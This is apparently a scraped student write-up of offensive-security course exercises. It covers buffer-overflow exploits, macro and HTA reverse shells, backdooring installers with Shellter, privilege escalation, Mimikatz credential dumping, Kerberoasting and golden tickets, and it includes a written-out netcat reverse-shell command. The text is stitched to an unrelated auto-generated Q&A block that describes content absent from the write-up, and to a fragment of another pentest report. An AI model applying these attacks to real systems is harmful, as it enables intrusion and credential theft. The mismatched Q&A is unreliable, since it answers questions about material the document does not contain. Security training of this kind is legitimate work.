Upon close inspection and multiple tries it is concluded that 0x00, 0x0A, 0x0D, 0x25, 0x26, 0x2B,
and 0x3D are the badchars.

2. Why are these characters not allowed? How do these bad hex characters translate to ASCII?

X00 is the null byte which determines where does a string end if we use this char In our shell
code the execution of our shellcode will stop as soon as the machine detects null byte.
X0a in ascii translates to ‘\n’ which is a format string that represents new line and 0xd is carriage
return ‘\r’.
X025 is ‘%’ which is again used as a format string in many languages and can thus interrupt
execution.
X026 is ‘&’ which is special character used in C.

162 | Page
X2b is the ‘+’ which is a mathematical sign in various languages. X3d
is the ‘=’ sign.

[Link] Exercises
1. Locate the JMP ESP that is usable in the exploit.

163 | Page
2. Update your PoC to include the discovered JMP ESP, set a breakpoint on it, and follow the
execution to the placeholder shellcode.

Update script.

164 | Page
165 | Page
Set a breakpoint at JMP ESP instruction.

Stepping into the JMP ESP shows that execution starts at ‘\x5c\x74\x98\x02’ Which
is our place holder for shellcode.

166 | Page
[Link] Exercises
1. Update your PoC to include a working payload.

167 | Page
2. Attempt to execute your exploit without using a NOP sled and observe the decoder corrupting
the stack.

As we can see in the screenshot below the decoder is corrupting the stack.

168 | Page
4. Add a NOP sled to your PoC and obtain a shell from SyncBreeze

Added 10 NOPs

Executed the exploit and got shell.

169 | Page
170 | Page
[Link] Exercise
1. Update the exploit so that SyncBreeze still runs after exploitation.

Adding Exitfunc flag set to thread.

Got reverse shell.

171 | Page
[Link] Exercises
1. Log in to your dedicated Linux client using the credentials you received.

172 | Page
2. On your Kali machine, recreate the proof-of-concept code that crashes the Crossfire
server.

[Link] the debugger to the Crossfire server, run the exploit against your Linux client,
and confirm that the EIP register is overwritten by the malicious buffer.

173 | Page
As we can see in the Screenshot Below EIP has been overwritten by ASCII “A”

174 | Page
[Link] Exercises
1. Determine the correct buffer offset required to overwrite the return address on the stack.

Created pattern using msf-pattern_create

Crashed the program and copied the EIP registers value.


175 | Page
Got offset at 4368 bytes.

2. Update your stand-alone script to ensure your offset is correct.

176 | Page
[Link] Exercises
1. Determine the opcodes required to generate a first stage shellcode using msf-nasm_shell.

3. Identify the bad characters that cannot be included in the payload and return address.

177 | Page
Upon close inspection of characters we can see that \x00 and \x20 are bad characters

[Link] Exercises
1. Find a suitable assembly instruction address for the exploit using EDB.

Found jmp esp at 0x08134596

178 | Page
2. Include the first stage shellcode and return address instruction in your proof-of-concept and
ensure that the first stage shellcode is working as expected by single stepping through it in the
debugger.

179 | Page
180 | Page
Stepping into the breakpoint at Jmp esp now the EIP points to the first stage of the payload.

Stepping in even further we can see the instructions add eax,12 and jmp eax being executed
which finally points to the “A’s” we sent to crash the application.

181 | Page
[Link] Exercises

1. Update your proof-of-concept to include a working payload.

182 | Page
183 | Page
2. Obtain a shell from the Crossfire application with and without a debugger.

Got Shell.

Without Debugger.

184 | Page
[Link] Exercises
Note: Reporting is not required for these exercises

[Link] Exercises
1. Use msfvenom to generate a HTML Application and use it to compromise your Windows client.

Generating exploit.

185 | Page
Searching and executing the malicious HTA file

Got reverse shell.

186 | Page
2. Is it possible to use the HTML Application attack against Microsoft Edge users, and if so, how?

Yes it is possible and the process is exactly the same with edge browsers as
it is was with internet explorer. Just the difference is we get prompted twice before he
execution. Edge checks for a valid digital signature before execution, as it is unable to
find a digital signature in our malicious file it will give a warning prompt as in the screen
shot below.

187 | Page
[Link] Exercise
1. Use the PowerShell payload from the HTA attack to create a Word macro that sends a reverse
shell to your Kali system.

Added Macro.

188 | Page
Attempted to open the DOTM file.

189 | Page
Got reverse shell.

[Link] Exercise
1. Use the PowerShell payload to create a batch file and embed it in a Microsoft Word
document to send a reverse shell to your Kali system.

Created [Link]

190 | Page
Got Reverse Shell.
191 | Page
[Link] Exercises
1. Trigger the protection by Protected View by simulating a download of the
Microsoft Word document from the Internet.

Simulating downloading file from the internet.

192 | Page
Protected view triggered.

193 | Page
2. Reuse the batch file and embed it in a Microsoft Publisher document to receive a
reverse shell to your Kali system.

Embbeding batch file in publisher document.

194 | Page
3. Move the file to the Apache web server to simulate the download of the Publisher
document from the Internet and confirm the missing Protected View.

195 | Page
Simulating downloading publisher file from the internet.

Opening the file we can see the protected view is bypassed.

196 | Page
Running the Object.

197 | Page
Got reverse shell.

[Link] Exercises
1. Connect to your dedicated Linux client and start the vulnerable Apache James
service using the /usr/local/james/bin/[Link] script.

Connected to the dedicated client and started the apache james service.

198 | Page
2. Enumerate the target using port scanning utilities and use information from the
banners and Internet searches to determine the software running on the machine.

199 | Page
3. Use the searchsploit tool to find exploits for this version on the online resources
mentioned in this module.

200 | Page
201 | Page
4. Launch the exploit and verify that the payload is executed upon logging in to the
machine.

Launched the exploit.

Payload executed. As you can see in the screenshot below the exploit has created a
[Link] file.

202 | Page
5. Attempt to modify the payload variable in order to get a reverse shell on the
target machine.

Modified the exploit to get reverse shell.

Triggered the exploit via ssh and got the reverse shell.

203 | Page
[Link] Exercises
1. Locate the exploit discussed in this section using the searchsploit tool in Kali Linux.

204 | Page
2. Install the mingw-w64 suite in Kali Linux and compile the exploit code.

205 | Page
206 | Page
[Link] Exercises
1. Modify the connection information in the exploit in order to target the SyncBreeze
installation on your Windows client.

2. Recompile the exploit and use Wireshark to confirm that the code successfully
initiates a socket connection to your dedicated Windows client.

Recompiling.

Code successfully initiated a socket connection with the windows client

207 | Page
[Link] Exercise
1. Find any valid return address instruction and alter the one present in the original
exploit.
As we have previously developed a exploit for sync breeze we will use the return
address used in that exploit. This was the return address in the exploit we created. (see
eip in the screenshot).

208 | Page
Modifying the return address in the exploit code.

[Link] Exercises
1. Generate a reverse shell payload using msfvenom while taking into account the bad
characters of our exploit.

209 | Page
2. Replace the original payload with the newly generated one.

210 | Page
4. Attach the debugger to the target process and set a breakpoint at the return address
instruction.
Attached the process and set a breakpoint at “10090C83”

211 | Page
5. Compile the exploit and run it. Did you hit the breakpoint?

Compiled the exploit and ran it.

Breakpoint was not hit.

212 | Page
[Link] Exercises
1. Fix the overflow buffer such that the EIP register will be overwritten by your
chosen return address instruction.

Modified the buffer size.

213 | Page
Recompiled the exploit and got shell.

2. Install the ASX to MP3 Converter application located under the


C:\Tools\fixing_exploits directory; download the exploit for ASX to MP3 Converter from
EDB391 and edit it in order to get a shell on your dedicated Windows machine.

Found the return address for the exploit to be 0x1003789D

214 | Page
Refuzzed the application to get correct buffer length

Which was found out to be 241 bytes.

Found out badchars “\x00\x0a\x1a” and generated shellcode using msfvenom.

215 | Page
Reflected all the modifications the buffer length, EIP, Shellcode, NOPs, in the exploit
code downloaded from [Link]

216 | Page
Loading [Link] into the vulnerable application.

Got reverse shell.

217 | Page
[Link] Exercises
1. Connect to your dedicated Linux lab client and start the apache2 service; the
target web application is located under /var/www/https/.

Connected to the Linux lab client and started webserver.

218 | Page
2. Modify the original exploit and set the base_url variable to the correct IP
address of your dedicated Linux lab client as well as the protocol to HTTPS.

3. Get familiar with the requests Python library and adjust your exploit
accordingly to avoid SSL verification.

4. Edit the username and password variables to match the ones from our test
case (username
“admin”, password “HUYfaw763”).

219 | Page
6. Try to run the exploit against the Linux lab client, does it work? If not, try to explain why.

The exploit dosent work due to index out of range error which might be due to the
mismatch of csrf_param variable.

[Link] Exercises
1. Observe the error that is generated when running the exploit.

2. Attempt to troubleshoot the code and determine why the error occurs.

Error occurs due to the different csrf parameter than in the exploit.
220 | Page
3. Modify the exploit in order to avoid the error and run it against your dedicated Linux
client.

Exploit modified.

Ran exploit against linux client.

4. Verify that your exploit worked by attempting to execute the whoami command using
the remote php shell.
221 | Page
Exploit worked.

5. Attempt to obtain a fully interactive shell with this exploit.

Using payload nc -c /bin/sh [Link] 447

Got reverse shell.

[Link] Exercises
(Reporting is not required for these exercises)

[Link] Exercises
(Reporting is not required for these exercises)

222 | Page
[Link] Exercises
1. Review the code from the PowerShell script and ensure that you have a basic
understanding of how it works.

In the screenshot below we can see that the code imports various functions from
different DLL’s
By just a simple overview of the code we can see that this part of the script imports the
“VirtualAlloc” and “CurrentThread” functions from “[Link]” and imports “memset”
function from the “[Link]”, these functions allow us to allocate memory, create an
execution thread, and write arbitrary data to the allocated memory.

This next part of the code in the screenshot below allocates a block of memory of size
4096 bytes using the “VirtualAlloc” function, and takes each byte of payload stored in
“$sc” and stores it into our newly allocated memory using “memset” function.

223 | Page
In the final part the script creates a new thread using “CurrentThread” function and
executes the payload in the newly created thread

2. Get a meterpreter shell back to your Kali Linux machine using PowerShell.

Generated payload.

Executed payload.

Got meterpreter shell.


224 | Page
3. Attempt to get a reverse shell using a PowerShell one-liner rather than a script.

One liner.

Got reverse shell.

[Link] Exercises
1. Inject a meterpreter reverse shell payload in the WinRAR executable.

Injecting code into winrar installer.

225 | Page
226 | Page
2. Transfer the binary to your Windows client and ensure that it is not being detected by
the antivirus.
227 | Page
Running scan on the folder “temp” where the malicious executable is stored.

3. Run the WinRAR installer and migrate your meterpreter shell to prevent a disconnect.

228 | Page
Ran the installer.

Got meterpreter reverse shell.

4. Attempt to find different executables and inject malicious code into them using
Shellter.

229 | Page
Injecting malicious code in 7zip executable. Injection was successful.

Injecting malicious code into “[Link]”. Injection was successful.

230 | Page
231 | Page
[Link] Exercise

1. Perform various manual enumeration methods covered in this section on both your
dedicated Windows and Linux clients. Try experimenting with various options for the
tools and commands used in this section.

Enumerating users.

Linux
232 | Page
233 | Page
Windows

Enumerating Hostname.

Linux

Windows

Enumerating the Operating System Version and Architecture.


234 | Page
Linux

Windows

Enumerating Running Processes and Services

Linux

235 | Page
236 | Page
Windows

Enumerating Networking Information.

237 | Page
Linux

Windows

238 | Page
239 | Page
240 | Page
Enumerating Firewall Status and Rules.

Linux

241 | Page
Windows

242 | Page
Enumerating Scheduled Tasks.

Linux

243 | Page
Windows

Schedule tasks

Enumerating Installed Applications and Patch Levels.

Linux

Dpkg -l

244 | Page
Windows

Enumerating Readable/Writable Files and Directories

245 | Page
Linux

Windows

246 | Page
Enumerating Unmounted Disks

Windows

Linux

247 | Page
Enumerating Device Drivers and Kernel Modules

Windows

248 | Page
Linux

Enumerating Binaries That AutoElevate

Windows

249 | Page
Linux

[Link] Exercises
1. Inspect your Windows and Linux clients by using the tools and commands presented
in this section in order to get comfortable with manual local enumeration techniques.

Windows

250 | Page
Linux

251 | Page
252 | Page
2. Experiment with different windows-privesc-check and unix_privesc_check options.

Linux

253 | Page
Using the detailed option on unix-privesc-check tool

254 | Page
Windows

Using option -all -dump with [Link] tool

255 | Page
[Link] Exercise
1. Log in to your Windows client as the admin user and attempt to bypass UAC using
the application and technique covered above.

Started [Link] and [Link]

256 | Page
Found a favourable registry value to edit.

Edited the registry value to [Link]

Launched cmd with highest privileges.

257 | Page
[Link] Exercises
1. Log in to your Windows client as an unprivileged user and attempt to elevate your
privileges to SYSTEM using the above vulnerability and technique.

Found the vulnerable service running

258 | Page
[Link] service has full access

C program that launches [Link]

Sent [Link] (the compiled c program above) to the windows client

259 | Page
Moved [Link] to the necessary location

Escalated privilages.

Got SYSTEM.

260 | Page
2. Attempt to get a remote system shell rather than adding a malicious user.

C code to get reverse shell

Placed payload in the serviio directory.

261 | Page
Got reverse shell.

[Link] Exercise
1. Log in to your Debian client as an unprivileged user and attempt to elevate your
privileges to root using the above techniques.

Enumerated cron jobs.

Injected reverse shell into “user_backups.sh”

Got reverse Shell.

262 | Page
[Link] Exercise
1. Log in to your Debian client with your student credentials and attempt to elevate your
privileges by adding a superuser account to the /etc/passwd file.

Exploiting the vulnerability.

Exploit successful.

[Link] Exercise
(Reporting is not required for this exercise)

[Link] Exercise
(Reporting is not required for this exercise)

[Link] Exercises
(Reporting is not required for these exercises)

263 | Page
[Link] Exercise [Link] Exercise
(Reporting is not required for these exercises)
(Reporting is not required for these exercises)

[Link] Exercises
(Reporting is not required for these exercises)

[Link] Exercises
(Reporting is not required for these exercises)

[Link] Exercises
1. Use Mimikatz to extract the password hash of an administrative user from the
Windows client.

2. Reuse the password hash to perform a pass-the-hash attack from your Kali
system and obtain code execution on your Windows client.
264 | Page
Got shell by passing the hash.

[Link] Exercise
(Reporting is not required for this exercise)

[Link] Exercises
1. Connect to your dedicated Linux lab client and run the clear_rules.sh script from
/root/port_forwarding_and_tunneling/ as root.

2. Attempt to replicate the port-forwarding technique covered in the above scenario.

265 | Page
[Link] Exercises
1. Connect to your dedicated Linux lab client and run the clear_rules.sh script from
/root/port_forwarding_and_tunneling/ as root.
266 | Page
2. Run the ssh_local_port_forwarding.sh script from
/root/port_forwarding_and_tunneling/ as root.

3. Take note of the Linux client and Windows Server 2016 IP addresses shown in the
Student Control Panel.

4. Attempt to replicate the smbclient enumeration covered in the above scenario.

Tunnelling.

267 | Page
Edited [Link]

Enumerating shares. Tunnelling successful!

268 | Page
[Link] Exercises
1. Connect to your dedicated Linux lab client via SSH and run the clear_rules.sh
script from /root/port_forwarding_and_tunneling/ as root.

2. Close any SSH connections to your dedicated Linux lab client and then connect
as the student account using rdesktop and run the ssh_remote_port_forward.sh script
from /root/port_forwarding_and_tunneling/ as root.

Logging in.

3. Attempt to replicate the SSH remote port forwarding covered in the above
scenario and ensure that you can scan and interact with the MySQL service.

Tunnling successful

269 | Page
Scanning service.

Interacting with the service.

[Link] Exercises
1. Connect to your dedicated Linux lab client and run the clear_rules.sh script from
/root/port_forwarding_and_tunneling/ as root.

2. Take note of the Linux client and Windows Server 2016 IP addresses.

270 | Page
3. Create a SOCKS4 proxy on your Kali machine, tunneling through the Linux target.

4. Perform a successful nmap scan against the Windows Server 2016 machine through
the proxy.

271 | Page
5. Perform an nmap SYN scan through the tunnel. Does it work? Are the results
accurate?

It works but the results are not accurate.

272 | Page
[Link] Exercises
1. Obtain a reverse shell on your Windows lab client through the Sync Breeze
vulnerability.

273 | Page
Exploited the sync breeze and got reverse shell.

2. Use [Link] to establish a remote port forward to the MySQL service on your
Windows 10 client.

274 | Page
3. Scan the MySQL port via the remote port forward.

[Link] Exercise
1. Obtain a reverse shell on your Windows lab client through the Sync Breeze
vulnerability.

2. Using the SYSTEM shell, attempt to replicate the port forwarding example using
netsh.

Adding firewall rule.


275 | Page
Allowing inbound traffic on port 4445.

Mounted the share.

[Link] Exercises
1. Connect to your dedicated Linux lab client as the student account using rdesktop and
run the http_tunneling.sh script from /root/port_forwarding_and_tunneling/ as root.

276 | Page
2. Start the apache2 service and exploit the vulnerable web application hosted on port
443 (covered in a previous module) in order to get a reverse HTTP shell.

3. Replicate the scenario demonstrated above using your dedicated clients.

Local Port forward

277 | Page
Hts port forward started.

http client tunnel established.

RDP success

278 | Page
279 | Page
[Link] Exercise
1. Connect to your Windows 10 client and use [Link] to lookup users and groups in the
domain. See if you can discover any interesting users or groups.

Found 1 admin account jeff_admin and 2 service accounts and one user account
named adam.

Jeff_admin belongs to domain admins group.

280 | Page
Adam is a member of “another nested group”

281 | Page
Enumerating domain groups show 3 intresting groups
“Secret_Group,Another_Nested_groups,Nested_groups”

282 | Page
[Link] Exercises
1. Modify the PowerShell script to only return members of the Domain Admins group.

283 | Page
2. Modify the PowerShell script to return all computers in the domain.

3. Add a filter to only return computers running Windows 10.

[Link] Exercises
1. Repeat the enumeration to uncover the relationship between Secret_Group,
Nested_Group, and Another_Nested_Group.

Secret_Group is a member of Nested_Group.

284 | Page
Nested group is member of another nested group.

Another_Nested_Group has member adam

285 | Page
2. The script presented in this section required us to change the group name at
each iteration. Adapt the script in order to unravel nested groups programmatically
without knowing their names beforehand.

[Link] Exercises
1. Download and use PowerView to perform the same enumeration against the
student VM while in the context of the Offsec account.

Offsec has logged into DC01

286 | Page
DC01 has offsec logged into from the windows client

2. Log in to the student VM with the Jeff_Admin account and perform a remote
desktop login to the domain controller using the Jeff_Admin account. Next, execute the
GetNetLoggedOn function on the student VM to discover logged-in users on the domain
controller while in the context of the Jeff_Admin account.

287 | Page
3. Repeat the enumeration by using the DownloadString method from the
[Link] class in order to download PowerView from your Kali system
and execute it in memory without saving it to the hard disk.

[Link] Exercises
1. Repeat the steps from this section to discover the service principal name for the IIS
server.

288 | Page
2. Discover any additional registered service principal names in the domain.

289 | Page
290 | Page
291 | Page
292 | Page
3. Update the script so the result includes the IP address of any servers where a service
principal name is registered.
Script Updated

293 | Page
4. Use the Get-SPN script and rediscover the same service principal names.

294 | Page
295 | Page
[Link] Exercises
1. Use Mimikatz to dump all password hashes from the student VM.

296 | Page
297 | Page
2. Log in to the domain controller as the Jeff_Admin account through Remote Desktop
and use Mimikatz to dump all password hashes from the server.

Rdesktop to Domain controller via pivoting through Debian client.

Dumped credentials.

298 | Page
[Link] Exercises
1. Repeat the manual effort of requesting the service ticket, exporting it, and cracking it
by using the [Link] Python script.

Requesting TGS ticket.

Exported ticket.

299 | Page
Cracked hash.

2. Perform the same action with any other SPNs in the domain.

Requested sql service TGS.

300 | Page
Dumping TGS.

Cracked TGS.

3. Crack the same service ticket using John the Ripper.

Dumping hash in john format

301 | Page
Hash cracked

4. Use the Invoke-Kerberoast.ps1 script to repeat these exercises.

Dumped hashes using Invoke-Kerberoast.ps1

302 | Page
Cracked hash of sql service.

[Link] Exercises
1. Use the PowerShell script in this module to guess the password of the jeff_admin
user.

303 | Page
2. Use the Spray-Passwords.ps1 tool to perform a lookup brute force attack of all
users in the domain from a password list.

304 | Page
[Link] Exercise
1. Execute the overpass the hash attack above and gain an interactive command
prompt on the domain controller. Make sure to reboot the Windows 10 client before
starting the exercise to clear any cached Kerberos tickets.

Running notepad as different user.

Got cached credentials for jeff_admin

305 | Page
Launched powershell as jeff_admin.

306 | Page
Cached jeff_admin TGT.

307 | Page
Launched [Link] as the jeff_admin user.

308 | Page
[Link] Exercises
1. Create and inject a silver ticket for the iis_service account.

309 | Page
2. How can creating a silver ticket with group membership in the Domain Admins group
for a SQL service provide a way to gain arbitrary code execution on the associated
server?

Ans:-In Windows, Mimikatz can be used to craft the ticket. Next, the ticket is injected
with Rubeus, and finally a remote shell can be obtained thanks to PsExec.

3. Create a silver ticket for the SQL service account.

[Link] Exercises
1. Repeat the exercise of launching Notepad using Excel and DCOM.

Created Macro.

310 | Page
Copied the macro xlsm file to the destination and launched the macro.

311 | Page
Task Manager shows excel has launched in the background along with notepad.

2. Improve the attack by replacing the VBA macro with a reverse shell connecting back
to Netcat on your windows student VM.

312 | Page
Created macro.

Launched the macro via DCOM.

313 | Page
Got Reverse shell on windows client.

314 | Page
3. Set up a pivoting channel from the domain controller to your Kali machine and obtain
a reverse shell

Set up a tunnel to my attacker machine from the windows client using socat. And ran
the payload on the server which is set to lport 8080.

315 | Page
Started a netcat listner on attacker machine with port 1337. And got reverse shell.

[Link] Exercises
1. Repeat the steps shown above to dump the krbtgt password hash and create and
use a golden ticket.
316 | Page
Dumped the krbtgt hash on Domain Controller.

On the windows client used mimikatz and the krbtgt hash to generate a Golden Ticket.
Launched cmd.

Successfully launched a high privileged shell as fakeuser.

317 | Page
2. Why is the password hash for the krbtgt account changed during a functional
level upgrade from Windows 2003 to Windows 2008?

Ans: This is likely due to the fact that the KRBTGT password changes as part of the
DFL update to 2008 to support Kerberos AES encryption.

[Link] Exercises
1. Start the postgresql service and launch msfconsole.

318 | Page
2. Use the SMB, HTTP, and any other interesting auxiliary modules to scan the lab
systems.

319 | Page
320 | Page
3. Review the hosts information in the database.

321 | Page
[Link] Exercise
1. Exploit SyncBreeze using the existing Metasploit module.

[Link] Exercise
1. Take time to review and experiment with the various payloads available in Metasploit.

Using HTTP payload.

322 | Page
Using windows/meterpreter/reverse_ipv6_tcp. Didn’t work.

323 | Page
324 | Page
Using exploit/windows/http/syncbreeze_bof

325 | Page
[Link] Exercises
1. Create a staged and a non-staged Linux binary payload to use on your Kali system.

326 | Page
Staged.

Non-staged.

2. Setup a Netcat listener and run the non-staged payload. Does it work?

Non-stage payload works flawlessly.

327 | Page
3. Setup a Netcat listener and run the staged payload. Does it work?

Staged payload doesn’t work and give segmentation fault.

4. Get a Meterpreter shell on your Windows system. Practice file transfers.

Upload.

Download.

328 | Page
5. Inject a payload into [Link]. Test it on your Windows system.

Got reverse shell.

329 | Page
6. Create an executable file running a Meterpreter payload and execute it on your
Windows system.

File created.

Executed.

Got Reverse shell.

7. After establishing a Meterpreter connection, setup a new transport type and change
to it.

330 | Page
[Link] Exercise
1. Create a new Metasploit module for your SyncBreeze exploit.

331 | Page
Module created.

332 | Page
[Link] Exercise
1. Use post-exploitation modules and extensions along with pivoting techniques to
enumerate and compromise the domain controller from a meterpreter shell obtained
from your Windows 10 client.

Loaded kiwi to dump credentials on windows client.

333 | Page
Added routes to access windows server and scanned its ports.

Used windows/smb/psexec module to access windows server.

334 | Page
Tried using autorouting to pivot to windows server.

Got shell on windows server.

335 | Page
[Link] Exercise
1. Create a resource script using both a second stage encoder and autorun scripts and
use it with the meterpreter payload.

336 | Page
[Link] Exercises
1. Install and start PowerShell Empire on your Kali system.

337 | Page
2. Create a PowerShell Empire listener on your Kali machine and execute a stager on
your Windows 10 client.

Creating Listener.

338 | Page
339 | Page
Executing launcher.

3. Experiment with the PowerShell Empire agent and its basic functionality.

Whoami shows current user.

Shell launches a command shell.

Steal token steals tokens form other processes.

340 | Page
Mimikatz loads mimikatz to the victim and dumps password hashes.

341 | Page
342 | Page
Sherlock is a vulnerability scanner.

343 | Page
344 | Page
345 | Page
[Link] Exercises
1. Set up a PowerShell Empire listener and stager and obtain a working agent.

346 | Page
2. Perform enumeration on the domain using various modules.

Using sherlock to discover vulnerabilities.

347 | Page
348 | Page
Used Situational awareness module.

349 | Page
3. Perform a remote desktop login with the account Jeff_Admin to ensure the
credentials are cached on the Windows 10 client and then dump the credentials using
PowerShell Empire.

Used mimikatz module.

350 | Page
4. Experiment with the different lateral movement modules.

Get_user module.

Executed privesc module

351 | Page
352 | Page
Using bypass fodhelper to get a high privilege shell.

Using mimikatz to dump credentials.

353 | Page
[Link] Exercise
1. Use sqlmap to exploit the SQL injection and extract the username and password.

[Link] Exercises
1. Modify the original Python exploit and capture the reverse shell.

Modified the exploit.

354 | Page
355 | Page
Got revshell.

2. The original UDF exploit is advertised as a privilege escalation exploit. Why are we
getting an unprivileged shell?

Because in the last few lines of exploit we generate a suid binary to launch a bash
interactive shell. But in the manual exploit method provided in the pdf we skip the suid
generation part. And even if we include the suid part the exploit fails because on ZORA
machine, mysql account has not got privileges to make folders and files in that directory.
And even the /bin/bash is not suid binary.

356 | Page

Common questions

Powered by AI

Reverse shells are used to gain remote command execution by tricking the server into connecting back to the attacker's machine. The document describes several methods to achieve this, including uploading a JSP reverse shell to a file upload feature after authenticating with stolen credentials . Another method involves injecting PHP code into a CMS configuration file, exploiting LFI vulnerabilities to execute the code . These reverse shells give attackers control over the server to execute arbitrary commands, providing a foothold for further exploitation.

The document outlines techniques such as SQL injection and default credential logins to gain initial server access. One example is using SQL injection in a login panel to bypass authentication by injecting ' OR 1=1;-- into input fields, allowing unauthorized access . Additionally, default credentials like admin/admin for a CMS (PHPLiteAdmin) allow an attacker to log in without prior knowledge of valid credentials . Both methods exploit common vulnerabilities to execute unauthorized actions on targeted systems.

Social engineering insights provide contextual understanding that can be pivotal for attack planning, allowing technical exploits to be more targeted and contextually intelligent. For instance, gaining knowledge about administrative credentials such as default usernames or common password patterns can facilitate initial access via web platforms or remote services . Coupling such information with technical exploits enables attackers to craft more credible and targeted attacks, increasing the likelihood of successful access and lateral movement within networks.

Directory brute-forcing is critical for discovering hidden resources on a web server. Techniques like enumerating directories can reveal crucial endpoints such as /administrator/, which expose web applications like Cuppa CMS and other sensitive files which can be exploited . By systematically testing different paths, attackers can identify and exploit web applications or scripts that may have security vulnerabilities, leading to further exploitation avenues such as LFI or RFI.

nmap plays a crucial role in the initial stage of network reconnaissance by identifying live hosts and open ports. In the document, nmap is used to detect open ports such as port 80, which is significant because it's commonly used for web traffic and often hosts web applications vulnerable to exploitation . This information guides attackers on which services to target for vulnerabilities, forming the backbone of the initial vulnerability assessment.

Using default credentials is a common tactic for initial access because such credentials are often overlooked by administrators and provide a direct, uncomplicated entry into systems. The document illustrates attacks where the default password 'admin' is used to access phpLiteAdmin and gain control over database functionalities . While this strategy is low-effort for attackers, the risks include easy detection if default accounts are monitored, and potential legal consequences if unauthorized access attempts are traced back to the attacker.

Privilege escalation is demonstrated by exploiting kernel vulnerabilities and inadequate permission management. For example, the use of a Linux Kernel exploit allows attackers to escalate privileges from a standard user to root by exploiting a specific vulnerability in lower versions (Linux Kernel < 4.4.0-116 allows privilege escalation by targeting a flaw). This shows how kernel exploits can be chained with initial access exploits to elevate access and control over a machine.

Automated exploitation frameworks streamline the attack process by allowing rapid exploitation of known vulnerabilities across different systems. Using tools like msfvenom to generate payloads reduces the time needed for custom exploit creation and increases efficiency by providing reliable shells on target machines . However, reliance on such frameworks can lead to overconfidence and potential exposure if not carefully managed, as automated scripts may trigger alerts or fail against patched systems.

File inclusion vulnerabilities like RFI and LFI allow attackers to manipulate input fields or configuration parameters within web applications to include and execute malicious code hosted externally or on the server itself. The document illustrates how chaining an LFI in Cuppa CMS allows accessing a PHP reverse shell file not directly accessible via the webserver's directory . This technique exploits the application's dynamic file handling to execute arbitrary shell commands, providing a foothold for deeper system penetration.

Deobfuscation of obscured JavaScript code helps uncover hidden functions and purposefully obfuscated links or resources that can be exploited. In the document, deobfuscating a script reveals disguised image sources and directories, one of which leads to a login page which was not easily visible . By reversing the obfuscation process, attackers can deduce the intended logic flow of scripts, potentially revealing misconfigured or outdated paths and functionalities leading to exploitable endpoints.

OFFENSIVE SECURITY
Penetration Test Report for
Internal Lab
v.2.0
Copyright © 2022 Offensive Security Ltd. All rights reserve
Offensive Security Lab Penetration Test Report
1. Objective
OS-was tasked with performing an internal penetration test toward
10.11.1.222
Enumeration
Initial nmap scan reveals several ports from which our attack surface is on ports 1512
which runs ora
Directory bruteforcing apache tomcat reveals /blog/login.jsp directory which is a login
page
4 | Page
Initial access
Passing single quote in the username field gives out an error page with oraclesql
database username,password a
Using these credentials we attempt to log into oracle-tns listener using sqlplus and we
get a sql shell.
Using this sql shell
2 tables named WEB_USERS and WEB_ADMIN has user and admin credentials
respectively.
7 | Page
Cracking the admin credential by using the web application crackstation.net reveals the
admin password to be “adminadmin”
Usi
We use the credentials for admin from the WEB_ADMIN table we dumped earlier.
Username: admin
Password: adminadmin
After loggi
This jsp reverse shell can be found out at
https://raw.githubusercontent.com/LaiKash/JSP-Reverse-and-Web-Shell/main/shell.jsp

You might also like